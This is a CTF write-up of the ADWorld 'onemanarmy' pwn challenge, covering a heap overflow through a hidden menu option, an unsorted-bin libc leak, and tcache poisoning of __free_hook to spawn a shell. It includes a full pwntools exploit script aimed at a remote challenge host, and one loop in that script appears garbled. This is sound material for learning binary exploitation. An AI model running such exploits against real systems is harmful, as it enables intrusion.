ADWorld PWN Challenge Area Write-ups (Tcache)
TyeYeah Lv4

onemanarmy

Attachment: onemanarmy.zip
Description: None

It is an easy overflow task exploiting tcache.

Information

Unzip:

1
2
3
4
5
6
7
8
9
10
11
$ unzip onemanarmy.zip
Archive: onemanarmy.zip
creating: ��+�/
inflating: ��+�/libc-2.27.so
inflating: ��+�/oneman_army
$ ls
''$'\251\242''+'$'\246' ...

$ cd ''$'\251\242''+'$'\246'
$ ls
libc-2.27.so oneman_army

Check:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
$ file oneman_army
oneman_army: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=8de0b8e14f617090c8f545fa079a000791aef5a5, for GNU/Linux 3.2.0, stripped
$ checksec oneman_army
[*] '/root/\xa9\xa2+\xa6/oneman_army'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
$ chmod +x libc-2.27.so
$ ./libc-2.27.so
GNU C Library (Ubuntu GLIBC 2.27-3ubuntu1) stable release version 2.27.
Copyright (C) 2018 Free Software Foundation, Inc.
This is free software; see the source for copying conditions.
There is NO warranty; not even for MERCHANTABILITY or FITNESS FOR A
PARTICULAR PURPOSE.
Compiled by GNU CC version 7.3.0.
libc ABIs: UNIQUE IFUNC
For bug reporting instructions, please see:
<https://bugs.launchpad.net/ubuntu/+source/glibc/+bugs>.

Pseudocode:
main:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
int v4; // [rsp+Ch] [rbp-24h]
char s; // [rsp+10h] [rbp-20h]
unsigned __int64 v6; // [rsp+28h] [rbp-8h]

v6 = __readfsqword(0x28u);
initial();
memset(&s, 0, 0x10uLL);
while ( 1 )
{
menu();
read(0, &s, 0xFuLL);
v4 = atoi(&s);
if ( v4 == 4 )
return 0LL;
if ( v4 == 2 )
{
show();
}
else if ( v4 > 2 )
{
if ( v4 == 3 )
{
free_func();
}
else if ( v4 == 9011 )
{
if ( !dword_4050 )
{
read(0, buf, 0x100uLL);
goto LABEL_15;
}
}
else
{
LABEL_15:
puts("Invalid option!");
}
}
else
{
if ( v4 != 1 )
goto LABEL_15;
alloc();
}
}
}

alloc:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
unsigned __int64 alloc()
{
size_t size; // [rsp+Ch] [rbp-24h]
unsigned __int64 v2; // [rsp+28h] [rbp-8h]

v2 = __readfsqword(0x28u);
printf("Size: ");
read(0, (char *)&size + 4, 0xFuLL);
LODWORD(size) = atoi((const char *)&size + 4) & 0x1FF;
buf = (char *)malloc((unsigned int)size);
printf("Content: ", (char *)&size + 4);
read(0, buf, (unsigned int)size);
puts("Done!");
return __readfsqword(0x28u) ^ v2;
}

show:

1
2
3
4
5
int show()
{
puts(buf);
return puts("Done!");
}

free_func:

1
2
3
4
5
6
int free_func()
{
free(buf);
buf = 0LL;
return puts("Done!");
}

Analysis

We only need to focus on alloc() and the secret command 9011 in main():

1
2
3
4
5
6
7
8
else if ( v4 == 9011 )
{
if ( !dword_4050 )
{
read(0, buf, 0x100uLL);
goto LABEL_15;
}
}

It neglects the size limit, so we can use it to perform heap overflow.

First we need to leak something. Since we are able to overflow and tcache has no chunk size check like fastbin, we can easily do unsorted bin attack and use show() to leak main arena + 0x88, then we will calculate malloc hook addr and get libc addr.

Then we can write system() or one gadget of libc to free hook addr, and trigger shellcode by subfunction 3.free.

Actually the exploit varies from person to person, and the arrangement of memory is a bit difficult, so please check the exploit script for details.

Exploit

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
from pwn import *
from LibcSearcher import *
from ctypes import *

context(os='linux', arch='amd64', log_level='debug')

sh = process('oneman_army')
sh = remote('220.249.52.133','31153')
elf = ELF('oneman_army')
libc = ELF('libc-2.27.so')

def alloc(size,content):
sh.sendlineafter('Your choice:','1')
sh.sendlineafter('Size:',str(size))
sh.sendafter('Content:',content)

def show():
sh.sendlineafter('Your choice:','2')

def free_func():
sh.sendlineafter('Your choice:','3')

def func_9011(content):
sh.sendlineafter('Your choice:','9011')
sh.send(content)

# malloc continuous spaces and put them into tcache list
sum = 0
for i in range(13):
# enough memory space is needed, or the fake large chunk won't be put in unsorted bin
# the fake chunk cannot overlap unallocated memory
sum += 0x10 * (i+1)
free_func()

print '-----------------------------------------------'
print 'alloced memory size: ' + hex(sum)
print '-----------------------------------------------'

# alloc chunk 0 and overflow using 'func_9011'
alloc(0x10,'0')
payload1 = 0x10*'1' + p64(0) + p64(0x581)
# the size should be larger than tcache, 24->1032 bytes on 64-bit and 12->516 bytes on 32-bit
# and must cover other complete chunks (for example: 0x4b1, 0x660)
# if incompletly overlap other chunk will cause double free check
func_9011(payload1)

##########################DEBUG#####################################
# print pidof(sh)
# pause()
####################################################################

free_func()

# free chunk 1 to unsorted bin
alloc(0x20,'1')
free_func()
# split fake chunk 1, and pass `unsorted bin` fd to chunk 2
alloc(0x20,'1'*2)
alloc(0x30,'2')
show()
sh.recv(1) # byte '2'
addr = sh.recvuntil('\n')
main_arena_88 = u64(addr[:-1].ljust(8,'\x00'))
malloc_hook_addr = (main_arena_88 & 0xfffffffffffff000) + (libc.sym['__malloc_hook'] & 0xfff) # calculate malloc hook
libc_base = malloc_hook_addr - libc.sym['__malloc_hook']
free_hook_addr = libc_base + libc.sym['__free_hook']
one_gadget_addr = libc_base + 0x4f2c5 # or 0x4f322 # or 0x10a38c
system_addr = libc_base + libc.sym['system']

print '+++++++++++++++++++++++++++++++++++++++++++++++++++++'
print 'main arena + 0x88: ' + hex(main_arena_88)
print 'malloc hook addr: ' + hex(malloc_hook_addr)
print 'libc base addr: ' + hex(libc_base)
print 'free hook addr: ' + hex(free_hook_addr)
print 'one gadget addr: ' + hex(one_gadget_addr)
print 'system addr: ' + hex(system_addr)
print '+++++++++++++++++++++++++++++++++++++++++++++++++++++'

# write __free_hook addr to chunk 3's fd
payload2 = 0x30*'2' + p64(0) + p64(0) + p64(free_hook_addr)
func_9011(payload2)

# alloc __free_hook out
alloc(0x40,'3')
# alloc(0x40,p64(one_gadget_addr)) # not working
alloc(0x40,p64(system_addr)) # write system addr to free hook
alloc(0x50,'/bin/sh\x00')
free_func()

sh.interactive()
Powered by Hexo & Theme Keep
Total words 135.7k